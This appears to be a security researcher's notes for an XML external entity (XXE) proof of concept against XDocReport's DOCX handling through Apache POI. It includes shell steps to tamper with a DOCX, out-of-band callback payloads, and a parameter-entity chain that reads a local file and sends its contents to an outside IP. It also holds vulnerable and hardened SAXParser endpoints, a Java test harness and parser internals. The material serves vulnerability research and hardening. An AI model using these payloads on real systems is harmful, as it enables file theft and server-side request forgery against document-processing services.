fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

org.apache.poi.xwpf.converter.core

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

unzip ../vcspentest.docx

nano word/document.xml

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

 zip -r ../poc.docx *

<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Чтение входного файла, содержащего выражение Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // Входной файл
            InputStream input = new FileInputStream(docxTemplate);

//             Загрузка шаблона с использованием Velocity
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // Загрузка шаблона с использованием FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

            // Создание контекста - можно оставить пустым, если тестируется только независимое выражение
            IContext context = report.createContext();

            // Вывод в новый файл
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ Файл result.docx успешно создан.");
        } catch (Exception e) {
            System.err.println("❌ Ошибка обработки файла:");
            e.printStackTrace();
        }
    }
}

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

  // should we skip external entities?
        boolean external = entity.isExternal();
        Entity.ExternalEntity externalEntity = null;
        String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
        if (external) {
            externalEntity = (Entity.ExternalEntity)entity;
            extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
            extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
            expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
            boolean unparsed = entity.isUnparsed();
            boolean parameter = entityName.startsWith("%");
            boolean general = !parameter;
            if (unparsed || (general && !fExternalGeneralEntities) ||
                    (parameter && !fExternalParameterEntities) ||
                    !fSupportDTD || !fSupportExternalEntities) {

                if (fEntityHandler != null) {
                    fResourceIdentifier.clear();
                    final String encoding = null;
                    fResourceIdentifier.setValues(
                            (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
                            extLitSysId, extBaseSysId, expandedSystemId);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.endEntity(entityName, fEntityAugs);
                }
                return;
            }
        }

staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);